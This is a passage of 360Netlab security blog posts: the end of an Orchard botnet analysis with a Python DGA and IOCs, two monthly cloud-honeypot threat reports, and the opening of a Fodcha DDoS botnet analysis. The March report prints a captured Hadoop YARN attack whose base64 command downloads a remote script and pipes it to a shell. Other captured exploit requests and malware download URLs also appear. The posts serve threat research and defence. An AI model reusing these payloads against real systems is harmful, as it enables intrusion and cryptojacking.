C2响应消息的body部分也为json格式，其结构为：TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json。v3支持8个指令，对应3种操作：

指令1：收集主机信息/自身运行状态并发送到C2（字段包括Domain、In_Memory、Install_Path、Is_Patched、Message_Type、Patch_Name、Port、Power_SaverMode、Process_ID、Process_Name、Process_Path、System_Idle、System_Uptime）
指令4、6：终结当前进程删除原始文件，或者重新启动。
指令7、8：下载&执行下发的矿机程序

下面是一个实际跟踪到的C2响应指令。

其中Transfer_Port表示希望主机再次向2929进行请求，Message_Type表示指令码，其值为7，表示下载&执行。

收到上述指令后，bot再次向C2的TCP 2929端口发起请求，Cuda是Nvidia推出的只能用于自家GPU的并行计算框架，这里的Cuda_Version为0表示不支持Cuda。

随后C2响应一个XMRig矿机程序，Client接收保存后根据指令7将XMRig注入傀儡进程开始执行挖矿工作。

分析过程中我们发现v3版本最近在持续分发一个同样的XMRig挖矿程序，后者集成了默认的挖矿配置信息，私有矿池地址：45.61.187.7:7733

DGA算法

v3的DGA算法未变，但输入的变化较大。实际上它会生成两组DGA域名，第一组域名的输入拼接算法是日期字符串+“ojena.duckdns.org”，形如 “2022-08-02ojena.duckdns.org”。第二组域名的输入为https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa 这个URL的返回结果，一个典型的返回结果如下所示：

{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}

相关字段的含义可以参考Blockchain的API手册：

n_tx：交易数量
total_received：接收比特币总量
final_balance：最终余额

值得强调的是v3版本并未对返回的结果进行解析，而是作为整体直接输入DGA算法来生成域名。而钱包地址1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa 据说是中本聪本人所持有的比特币创世地址。过去的十几年间，由于各种原因，每天都会有人向该钱包转入小量比特币，因此它是变化的，并且该变化很难预测，因此该钱包的余额信息也可以作为DGA输入。

在我们编写文章时，发现近期已有其他研究人员注意到v3版本这种将比特币账号交易信息用作DGA输入的现象，所分析结果与我们一致，但对方并没有注意到Orchard其实早已出现。

完整的v3版本DGA算法如下：

# 2022/07/05
import datetime
import requests
import hashlib

# cluster 1
days = 30
for i in range(0, days):
    domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
    for do in domains:
        datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
        print("seed_1: %s" % datex)
        md5 = hashlib.md5(datex.encode()).hexdigest()
        print("md5: %s" % md5)
        
        dga_list = []
        dga_list.append(md5[:8])
        dga_list.append(md5[8:16])
        dga_list.append(md5[16:24])
        dga_list.append(md5[24:32])
        for j in range(len(dga_list)):
            print(dga_list[j] + '.com')
            print(dga_list[j] + '.net')
            print(dga_list[j] + '.org')
            print(dga_list[j] + '.duckdns.org')


# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' 
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)

dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
    print(dga_list[j] + '.com')
    print(dga_list[j] + '.net')
    print(dga_list[j] + '.org')
    print(dga_list[j] + '.duckdns.org')

USB感染逻辑

Orchard的文件感染并非传统的代码插入，而是一种文件替换。当检测到USB存储设备时，Orchard会在设备根目录下创建隐藏目录，遍历所有文件进行感染，并将感染前和感染后的文件都备份到该隐藏目录下，被感染对象在感染时去掉了类型属性，感染后全部变为exe类型，并追加了.exe后缀，变成了可执行文件。随后样本会复制自身到被感染目录下并随机命名，该字符串保存到了被感染文件的资源里。当设备中的被感染文件在新系统中被用户执行后，则会启动隐藏目录中的样本文件，达到感染传播的目的。

USB感染过程会涉及两个内嵌的PE文件，第一个文件是DLL文件，会被释放到%LocalAppData%目录下，该DLL被Orchard称作CGO_Helper，主要用于提取和替换被感染文件的图标，其MD5是10D42F5465D5D8808B43619D8266BD99。第二个文件是exe文件，MD5为f3c06399c68c5fdf80bb2853f8f2934b，作为存储感染代码的模板文件，被感染文件的全部数据将被替换为该模板文件的数据。该模板的功能是根据资源中的exe名称寻找隐藏目录下对应的exe启动执行，所以被感染文件的资源中保存的是备份的Orchard样本名称。

USB感染情况示例如下，被感染文件资源中保存了Orchard样本的名称，当用户点击受感染的exe，将启动隐藏目录下的Orchard样本文件：

总结

Orchard是一个使用了DGA技术的botnet家族，最新版本致力于挖矿，并开始使用中本聪的比特币账号交易信息这类更难预测的信息作为DGA的输入，增加了检测难度。在1年多的时间里，Orchard先后出现了至少3个不同版本，编程语言和DGA实现都有变化，这说明Orchard是一个仍处于活跃期的botnet家族，预计后续会有更多的变种出现，值得我们警惕。对Orchard我们会持续保持关注，有新的发现会继续公开。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IOCs

C2

orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org

45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231

MD5

5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd

私有矿池

45.61.187.7:7733

公有云网络安全威胁情报（202204）

360Netlab — Wed, 11 May 2022 02:53:55 GMT

概述

本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。

360高级威胁狩猎蜜罐系统发现全球9.2万个云服务器IP进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内39家单位所属的云服务资产IP，这些单位涉及政府、医疗、建筑、军工等多个行业。
2022年4月，WSO2多个产品和Apache Struts2爆出高危漏洞，两个漏洞技术细节已经公开，并且我们发现两个漏洞都已有在野利用和利用漏洞传播恶意软件的行为。
本月共记录来源于云服务器的扫描和攻击会话3.7亿次，其中漏洞攻击会话2400万次，传播恶意软件会话77.2万次。

云上重点资产扫描攻击

四月份，我们共监测到全国39个公有云重点资产存在异常扫描及攻击行为。

随着云服务的普及，云安全问题也随之越发突出。攻击者常常入侵云服务器，并利用被入侵机器继续发动攻击。4月份我们发现了国内39个云服务器重点IP具有异常扫描攻击行为，由此我们认为该重点IP可能被入侵。从行业分布看，事业单位和政府机关的云上资产安全风险问题较大，此外，金融业和央企也面临较为严重的安全威胁。

从云服务商分布情况来看，阿里云在政企市场占据了较大的市场份额，因此也更加容易面临威胁，此次出现扫描攻击的重点IP云服务商以阿里云为主。

这些重点IP主要使用了敏感文件嗅探、Redis的相关漏洞及SSH暴力破解等攻击手法。

下面介绍其中几个具体案例。

IP地址	云服务商	单位名称	行业	IP所在省份	漏洞利用列表	扫描协议列表
123.56..	阿里云	***人民医院	医疗	北京	Redis未授权访问漏洞 Docker API版本信息泄露漏洞	Redis, HTTP
120.92..	金山云	****集团有限公司	建筑/大型央企	北京	Apache Tomcat暴力破解 PHPUnit 远程代码执行漏洞 ThinkPHP 远程代码执行漏洞等	HTTP
121.40..	阿里云	****股份有限公司	制造业/军工	浙江	MSSQL暴力破解	TDS

案例1：位于北京的IP地址为123.56.*.*的阿里云服务器属于某地人民医院，这个IP地址存在利用Redis和Docker漏洞的攻击行为：

*1
$4
info

GET /v1.16/version HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

案例2：位于北京的IP地址为120.92.*.*的金山云服务器属于某建筑行业大型央企集团有限公司，这个IP地址有Apache Tomcat、PHPUnit和ThinkPHP等多个产品的暴力破解和漏洞利用行为：

GET /manager/html HTTP/1.1
Host: {target}:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Authorization: Basic OGhZVFNVRms6OGhZVFNVRms=
Connection: close
Accept-Encoding: gzip
Connection: close

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

云服务器攻击总体情况

4月份共监测到全球9.2万个访问蜜罐节点的服务器，其中2.4万个IP发生漏洞扫描和攻击行为，超6000个IP发生恶意软件传播行为，1.1万个IP发生密码爆破行为。

四月份我们共捕获到来自云服务器的扫描和攻击威胁3.67亿次。其中，进行漏洞扫描和攻击事件2400万次，共涉及386个漏洞，暴力破解事件2200万次，传播恶意软件事件77.2万次，涉及恶意软件家族236个。
阿里云、DigitalOcean和腾讯云是发起漏洞攻击的IP数量最多的三家云服务商。

总体上，攻击者通常使用暴力破解、漏洞探测和扫描、远程代码执行漏洞等方法发起网络攻击。

在具体的攻击方法上，Redis相关漏洞、敏感文件嗅探和SMTP协议扫描等是攻击者最常用的攻击手段。

从漏洞攻击针对的厂商和产品分析，Redis、Docker和Apache仍然是攻击者使用漏洞攻击最多的厂商/产品，其中Redis的攻击者数量变化不大，但Docker的攻击者数量较三月有比较明显的提升。

一些攻击者利用漏洞攻击的同时，还会传播木马病毒等恶意软件以达到挖矿、控制等目的。4月份共捕获到利用云服务器传播的恶意软件样本5350个，日均传播恶意软件会话2.57万次。在利用漏洞传播的恶意样本中，挖矿类（CoinMiner）的传播IP数量和会话数量最多，此外，木马下载器类（TrojanDownloader）、黑客工具类（HackTool）、Tsunami僵尸网络等也是传播较多的恶意软件家族类型。

具体来看，全球云服务器传播恶意软件会话日均34.4万次，传播恶意软件文件数量超过5000个，传播会话以挖矿类（CoinMiner）、Mirai僵尸网络程序和Root工具类（Rootkit）为主，主要恶意软件传播数据如下表所示：

恶意软件家族	恶意软件样本数量	恶意软件传播会话数量
CoinMiner	132	3492059
Mirai	3528	2225752
Rootkit	8	1293556
Gafgyt	858	1199324
TrojanDownloader	446	764117
HackTool	9	338871
Tsunami	28	266909
YellowDye	8	265361
RemoteAdmin	1	259459
Exploit	46	28327

中国国内云服务器传播恶意软件会话日均19.5万次，传播恶意软件文件数量770个，传播会话以挖矿类（CoinMiner）、Root工具类（Rootkit）和木马下载器类（TrojanDownloader）为主，主要恶意软件传播数据如下表所示：

恶意软件家族	恶意软件样本数量	恶意软件传播会话数量
CoinMiner	57	3107750
Rootkit	8	1135539
TrojanDownloader	49	495456
HackTool	5	303781
YellowDye	8	233292
RemoteAdmin	1	232013
Tsunami	12	228386
Mirai	500	101470
Exploit	19	4921
Kryptik	3	666

我们从攻击者下载恶意软件的URL中提取出了这些恶意软件下载服务器的域名或IP，被最多攻击者使用的恶意软件下载服务器有oracle.zzhreceive.top，bbq.zzhreceive.top等。

密码爆破攻击方面，SSH的暴力破解仍然最为常见，随后是Telnet和甲骨文公司的Oracle TNS协议。DigitalOcean、腾讯云和亚马逊AWS是爆破攻击源IP数量最多的云服务商。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IoC List

URL：

http://146.70.80.113/suite
http://103.136.40.243/bins/Cronarm5
http://103.136.40.243/z.sh
http://175.11.71.224:58786/i
http://119.179.214.255:48348/bin.sh

md5：

97c3be113298ba1cf7acd6159391bc8c
0f77be12a7951073144b264f4cc0bb27
fdadd6050aec5f744d8e4e7118f95fc6
eec5c6c219535fba3a0492ea8118b397
59ce0baba11893f90527fc951ac69912

公有云网络安全威胁情报（202203）

360Netlab — Tue, 19 Apr 2022 02:24:17 GMT

概述

本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。

360高级威胁狩猎蜜罐系统发现全球12万个云服务器IP，进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内156家单位的服务器IP，涉及大型央企、政府机关等行业。
Spring厂商连续公开3个关键漏洞，CVE-2022-22947、CVE-2022-22963、CVE-2022-22965，本文将对前两个漏洞进行细节分析，第三个漏洞细节点此查看。
本月共记录威胁攻击8亿次有余（其中包括漏洞攻击7.4亿余次、传播恶意软件超5500万次），新增IoC累计68万余个，其中针对IoT设备的漏洞攻击呈上升趋势。

云上重点资产扫描攻击

三月份，我们共监测到全国156个公有云重点资产存在异常扫描及攻击行为。

随着业务不断上云，发生在公有云平台上的网络安全事件和威胁数量居高不下，国内重点行业包括但不限于我国的科研机构、大型企业、政府及事业单位成为攻击者的重点攻击对象，合计攻击源156个。

根据所属云服务商来源，我们发现我国重点IP的云服务商以阿里云使用为主，其次为腾讯云。

从漏洞利用的角度来看，攻击者主要通过SSH暴力破解、Gitlab远程命令执行漏洞、Redis远程命令执行的漏洞攻击方式对我国公有云重点IP进行攻击。

下表为其中部分案例：

案例1：位于北京的IP地址为39.101.*.* 的阿里云服务器，属于***联络处，访问对应域名可进入该单位**平台，其IP在3月上旬对蜜罐节点存在Telnet暴力破解行为：

��telnetadmin
telnetadmin
enable
system
shell
sh
/bin/busybox IZ1H9

案例2：位于上海的IP地址为118.89.*.*的腾讯云IP属于***办公室，该IP有Apache Tomcat暴力破解,ThinkPHP漏洞, Hadoop YARN ResourceManager未授权访问漏洞等5个漏洞利用或暴力破解的恶意行为，并传播了TrojanDownloader类的恶意软件，以Hadoop YARN ResourceManager未授权访问漏洞为例，攻击Payload如下所示：

POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3742
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{
    "application-id": "application_1526990652950_72948",
    "application-name": "i24jndw5",
	"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KZm9yIGkgaW4gMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMTtkbyBwcyAtZWZ8Z3JlcCAtdiBmYzZifGdyZXAgJ2ZjNmJcfGVwIGN1clx8ZXAgd2dlXHxlcCBpbXAnfGF3ayAne3ByaW50ICQzfSd8eGFyZ3MgLUkgJSBraWxsIC05ICU7ZG9uZQoKcGtpbGwgLTkgLWYgJ3NvXC50eHQnCnBraWxsIC05IC1mICdiYXNoIC1zIDM2NzMnCnBraWxsIC05IC1mIDgwMDUvY2M1CnBraWxsIC05IC1mIHJlYWRka2sKcGtpbGwgLTkgLWYgJ2ZsdWVuY2UvaW5zdGFsbFwuc2gnCnBraWxsIC05IHJlYWRkaQpwa2lsbCAtOSBsYWJraWxsCnBraWxsIC05IGp1aWNlU1NICnBraWxsIC05IHBvc3RncmVzd2sKcGtpbGwgLTkgcG9sc2thCnBraWxsIC05IC1mICdcLi9cLicKcGtpbGwgLTkgLWYgJy90bXAvXC4nCnBraWxsIC05IC1mIGtlcm5lbHgKcGtpbGwgLTkgLWYgZ3Jlcy1zeXN0ZW0KcGtpbGwgLTkgLWYgZ3Jlcy1rZXJuZWwKcGtpbGwgLTkgLWYgcGFzdGViaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgImJpbi9wZXJsXHwvZGV2L3NobSI7IHRoZW4KICAgIGtpbGwgLTkgJGkKICBmaQpkb25lCgppZiBbICEgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgLWEgISAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgY2QgL3RtcCB8fCBjZCAvdmFyL3RtcAogIGNoYXR0ciAtaSBkOyBjaGF0dHIgLWkgZGxyOyBybSAtcmYgZCBkbHIKICBlY2hvIGYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBSklNRUNEUUFBQURNQXdBQUFBQUFBRFFBSUFBREFDZ0FCUUFFQUFFQUFBQUFBQUFBQUlBRUNBQ0FCQWlyQXdBQXF3TUFBQVVBQUFBQUVBQUFBUUFBQUt3REFBQ3Nrd1FJckpNRUNBQUFBQUFFQUFBQUJnQUFBQUFRQUFCUjVYUmtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQUJBQUFBRldKNVErMlZRZ1B0a1VNRDdaTkVNSGlHTUhnRUFuQ0Q3WkZGTUhoQ0YwSndnblJpY3FKeUlIaUFQOEFBTUhpQ01IZ0dBblFpY3FCNFFBQS93REI2aGpCNlFnSnlnblF3MVdKNVlQc0VQOTFDR29CNkVRQ0FBQ0R4QkRKdzFXSjVZUHNFUDkxQ0dvRzZDOENBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29GNkJjQ0FBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQTJwbTZQQUJBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29FNk5nQkFBREp3MVdKNVlQc0NQOTFFUDkxRFA5MUNHb0Q2TUFCQUFESncxV0o1WVBzSEl0RkNJbEY5SXRGRElsRitJdEZFSWxGL0kxRjlGQnFBV3BtNkprQkFBREp3MVc0ZllNRUNJbmxWMVpUZ2V5c0FBQUE2d0ZBZ0RnQWRmb3RmWU1FQ0ltRlVQLy8vMUJxQW1pRGd3UUlhZ0hvZHYvLy8yb1ZhT01BQUFCb2tRQUFBR2pDQUFBQVpzZEY0QUlBWnNkRjRnQlE2S2IrLy8rRHhCeG8vd0VBQUdoQkFnQUFhSWFEQkFpSlJlVG8rLzcvLzRQRURHb0FhZ0ZxQW9uSDZGci8vLytEeEJDRCtQK0p4blFGZy8vL2RRMkQ3QXhxQWVpci92Ly9nOFFRVUdvUWpVWGdVRmJvMnY3Ly80UEVFSVhBaWNONUhGRDMyMm9CYUlxREJBaHFBZWpuL3YvL2lSd2s2SG4rLy8rRHhCQ0xuVkQvLy85UWc4TVhVMmlNZ3dRSVZ1akcvdi8vZzhRUU9kaDBEWVBzREdvRDZFLysvLytEeEJBeDIxQnFBWTFGODFCVzZMdisvLytEeEJCSWRBMkQ3QXhxQk9ndC92Ly9nOFFRRDc1Rjg4SGpDQW5EZ2ZzS0RRb05kYzlSYUlBQUFBQ05uV0QvLy85VFZ1aUUvdi8vZzhRUWhjQitEbEpRVTFmb1hQNy8vNFBFRU92WWcrd01WdWo5L2YvL2lUd2s2UFg5Ly8rRHhBeHFBV2lwZ3dRSWFnSG9OZjcvLzhjRUpBVUFBQURvdy8zLy80UEVFSTFsOUZ0ZVgxM0RWWW5sWGVscy92Ly9rSkNRVlZkV1U0dHNKQ3lMZkNRb2kzUWtKSXRVSkNDTFRDUWNpMXdrR0l0RUpCVE5nRnRlWDEwOUFmRC8vdytEQVFBQUFNT0Q3QXlKd3ZmYTZBa0FBQUNKRUlQSS80UEVETU80ckpNRUNNTmhiV1EyTkFBakNnQmtiSElBUHdCSFJWUWdMMk4xY213dFlXMWtOalFnU0ZSVVVDOHhMakFOQ2cwS0FDTUFBQUF1YzJoemRISjBZV0lBTG5SbGVIUUFMbkp2WkdGMFlRQXVZbk56QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXNBQUFBQkFBQUFCZ0FBQUpTQUJBaVVBQUFBNlFJQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBUkFBQUFBUUFBQURJQUFBQjlnd1FJZlFNQUFDNEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFHUUFBQUFnQUFBQURBQUFBckpNRUNLd0RBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFFQUFBQURBQUFBQUFBQUFBQUFBQUNzQXdBQUhnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQT18YmFzZTY0IC1kID4gZAogIGNobW9kICt4IGQ7IC4vZHx8Li9kOyBybSAtZiBkOyBjaG1vZCAreCBkbHIKZmkKCihjdXJsICRjfHxjdXJsICRjfHx3Z2V0IC1xIC1PLSAkY3x8Y3VybCAtayAkY3x8Y3VybCAtayAkY3x8d2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xIC1PLSAkY3x8Li9kbHIgJGN8fC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
    "application-type": "YARN"
}

云服务器攻击总体情况

三月份共监测到全球超12余万个云服务器（源IP）异常访问蜜罐节点并与之交互，其中3万多个IP发生漏洞扫描和攻击行为，超7000个IP发生恶意软件传播行为，近2万个IP发生密码爆破攻击行为。

三月份我们通过对全球公有云服务器的监测，共捕获云服务器威胁攻击事件近6200万次，其中包括漏洞攻击4700余万次（涉及3万多个云服务器），漏洞攻击事件共涉及1118个漏洞、传播恶意软件近1400万次（涉及7000多个云服务器）。

攻击态势主要聚焦在针对Web应用和数据库的攻击、僵尸网络攻击等，攻击方式主要为暴力破解、远程命令/代码执行等，其中需要关注的是针对IoT设备的漏洞攻击逐步呈上升趋势，我们捕获到针对IoT攻击的攻击源数量超3000个，尝试攻击的会话数超200余万次。

全球云服务器的三月数据中，捕获超2000个，日均传播次数超16万余次，涉及恶意程序家族38个，其中按样本捕获量以Mirai家族及其变种为首，按传播次数排名前三位的为CoinMiner、Mirai、Rootkit家族。

其中国内云服务器，捕获恶意程序样本数量超400余个，日均传播次数10万余次，涉及恶意程序家族近30个，其中按样本捕获量以CoinMiner家族及其变种为首，按传播次数排名前三位的为CoinMiner、Rootkit、TrojanDownloader家族。

从云服务商的情况来看，本月数量前5的云服务商是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。

从漏洞攻击针对的厂商、产品分析，各类漏洞攻击的IP数量较二月有大幅度提升，尤其专注于对Redis、Docker等设备的重点攻击。

从恶意软件传播情况分析，恶意挖矿类（CoinMiner）传播次数最多，木马下载器（TrojanDownloader）的传播源IP数量最多，超过5500个。

oracle.zzhreceive.top和bbq.zzhreceive.top是被最多IP使用的下载服务器。

在密码爆破攻击方面，81.3%的云服务器IP集中在SSH协议的暴力破解上，其次是Telnet协议，占比8.8%。腾讯云和DigitalCloud是暴力破解攻击源IP最多的云服务商，3月份分别有4700+和4300+个攻击源IP。在暴力破解会话数方面，DigitalCloud遥遥领先，有多达3052万次暴力破解会话。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IoC List

URL：

http://14.1.98.226:8880/7z
http://51.81.133.90/NWWW.6
http://51.81.133.90/qweasd
http://14.1.98.226:8880/ff.elf

md5：

b9bcb150c1449dcc6a69ff1916a115ce
8c47779d3ad0e925461b4fbf7d3a139d
392f13b090f54438b3212005226e5d52
24afae2eee766cbabf8142ef076ce1

Fodcha, a new DDos botnet

Hui Wang — Wed, 13 Apr 2022 14:01:14 GMT

Overview

Recently, CNCERT and 360netlab worked together and discovered a rapidly spreading DDoS botnet on the Internet. The global infection looks fairly big as just in China there are more than 10,000 daily active bots (IPs) and alsomore than 100 DDoS victims beingtargeted on a daily basis. We named the botnet Fodcha because of its initial use of the C2 domain name folded.in and its use of the chacha algorithm to encrypt network traffic.

Botnet size

From March 29 to April 10, 2022, the total number of unique Fodcha bots(IPs) has exceeded 62,000, and daily numbers fluctuate around 10,000. A daily breakdown is shown below.

Netlab note:
Based on direct data from the security community that we worked with, the number of daily live bots are more than 56000.

When we look at the domestic data, the top provinces that the bots are coming from are the Shandong Province (12.9%), the Liaoning Province (11.8%) and the Zhejiang Province (9.9%).The service providers that these bots originate from are China Unicom(59.9%), China Telecom(39.4%), and China Mobile(0.5%).

Spread method

Fodcha is mainly spreading through the following NDay vulnerabilities and Telnet/SSH weak passwords.

Netlab note:
We observed that a brute-force cracking tool we named Crazyfia appears on the same downloader server of FodchaThe scan results of this tool will be used by the Fodcha author to install Fodcha samples on the vulnerable devices.

List of main vulnerabilities:

Vulnerability	Affected Device/Service
Android ADB Debug Server RCE	Android
CVE-2021-22205	GitLab
CVE-2021-35394	Realtek Jungle SDK
JAWS Webserver unauthenticated shell command execution	MVPower DVR
LILIN DVR RCE	LILIN DVR
TOTOLINK Routers Backdoor	TOTOLINK Routers
ZHONE Router Web RCE	ZHONE Router

Sample Analysis

The Fodcha botnet includes samples targeting mips, mpsl, arm, x86, and other CPU architectures. In the past 3 months, the Fodcha samples we captured can be divided into two versions, v1 and v2. Their main functions are almost the same. By cross-referencing the different versions, we can tell that the Fodcha operators are really trying to hide their C2s and load-balance among the C2s.

Version	Chacha20	C2 Format	C2	MAPPING(Domain<-->IP)	MAPPING(IP<-->PORT )
v1	yes	plaintext	folded.in	1:N	N:1
v2	yes	ciphertext	fridgexperts.cc	1:N	N:10

The latest sample of V2 X86 CPU architecture is selected as the main object of analysis in this paper, and its basic information is as follows.

8ea56a9fa9b11b15443b369f49fa9719
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None

Fodcha's function is simple. When it executes on the compromised device, it first checks the runtime parameters. When there are no parameters, it exits out. Fodcha does this as a simple countermeasure to deter sandbox. When parameters are present, it first decrypts the key configurations data, the data include some sensitive information such as C2s will It then prints “here we are” on the Console, and uses a random string to disguise the process name. Finally communication with the C2 will be established. The following section will focus on Fodcha's decryption method and network communication.

Decrypting key configurations

Fodcha uses a multiple-Xor encryption method to protect its key configurations such as C2 data.

The corresponding python implementation is shown below, taking the ciphertext EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9 in the sample as an example. After decryption, we will get the Fodcha's C2: fridgexperts.cc.

cipher=[  0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC, 
  0xFB, 0xF1, 0xA3, 0xFB, 0xE9]
  
key=[0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65, 
  0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]

tmp=[]

for i in range(len(cipher)):
    tmp.append((cipher[i] ^ key[i])%0xff^0xbe)

for i in range(len(tmp)):
    for j in key:
        tmp[i]^=j
out=''.join([chr(i) for i in tmp])

print out

Network communication

Fodcha establishes a connection with C2 through the following code fragment where the DNS A record IP of the C2 domain corresponds to the PORT of N:10.

Once the connection is successfully established with C2, the Bot must go through 5 rounds of interaction with C2 before it can actually communicate with C2. We use arm as the packet string, which generates the network traffic shown in the following figure.

Let us elaborate on how this traffic is generated:

Step 1: Bot-->C2 (fixed length 5 bytes)

The hard-coded ee 00 00 is calculated by the tcp/ip checksum method to get the 2-byte checksum value 0xff11, which is filled to the last 2 bytes.

def checksum(data):
  s = 0
  n = len(data) % 2
  for i in range(0, len(data)-n, 2):
    s+= ord(data[i]) + (ord(data[i+1]) << 8)
  if n:
    s+= ord(data[i+1])
  while (s >> 16):
    s = (s & 0xFFFF) + (s >> 16)
  s = ~s & 0xffff
  return s

Step 2: C2-->BOT (2 times, the first 32 bytes; the second 12 bytes)

Note that the key and nonce are generated by the C2 side, not fixed.

32 bytes at the beginning is chacha20 key:

26 14 2d 4d 58 d2 9e 26  67 98 bc e4 ef 69 b9 04
e6 d0 73 17 5c 4f 71 33  9f 97 18 f7 31 8d d4 d6

12 bytes at the last is chacha20 nonce:

2f 8a 5c da 57 50 a6 64  d7 98 f5 5d

Step 3: BOT-->C2 (fixed length 5 bytes)

Hard-coded 55 00 00 by checksum, calculate the checksum value 0xffaa, fill in the last 2 bytes, become 55 00 00 aa ff, then use chacha20 algorithm to encrypt, the number of rounds is 1, get 99 9e 95 f6 32.

Step 4: C2-->BOT(fixed length 5 bytes)

At this point, if the format of the 5 bytes received is 0x55 at the beginning and the last 2 bytes are the checksum value, it means the previous interaction is right, enter Step 5 and ask BOT to start sending packet information.

Step 5: Bot--->C2 (2 times, the first 5 bytes, the second grouping)

First time
Hard-coded fe 00 00, the third byte is really the grouping length, becomes fe 00 03, calculate the checksum value 0xfefe, fill in the tail to get fe 00 03 fe fe
Second time
grouping string arm, use chacha20 encryption, round number 1, get ad ec f8

At this point the BOT is successfully registered and waits to execute the instruction issued by C2. The instruction code and its meaning are shown below:
- 0x69, Heartbeat

- 0xEB, DDoS Attack
- 0xFB, Exit

C2 Tracking

Our botnet tracking system data shows that Fodcha has been launching DDoS attacks non stop since it came online, with the following trends in attack targets.

As you can see, the DDoS behavior of this family is very active:

The most active attack time was on 2022-03-01, with over 130k attacking commands being recorded.
In the recent week, the average daily attack command has exceeded 7k, targeting 100+ DDoS victims.

At the same time, we can also clearly see from the DNS perspective that the C2 domain of this family made a turnover around 2022-03-19, corresponding to the shift from v1 to v2 in the aforementioned sample analysis section.

Netlab note:
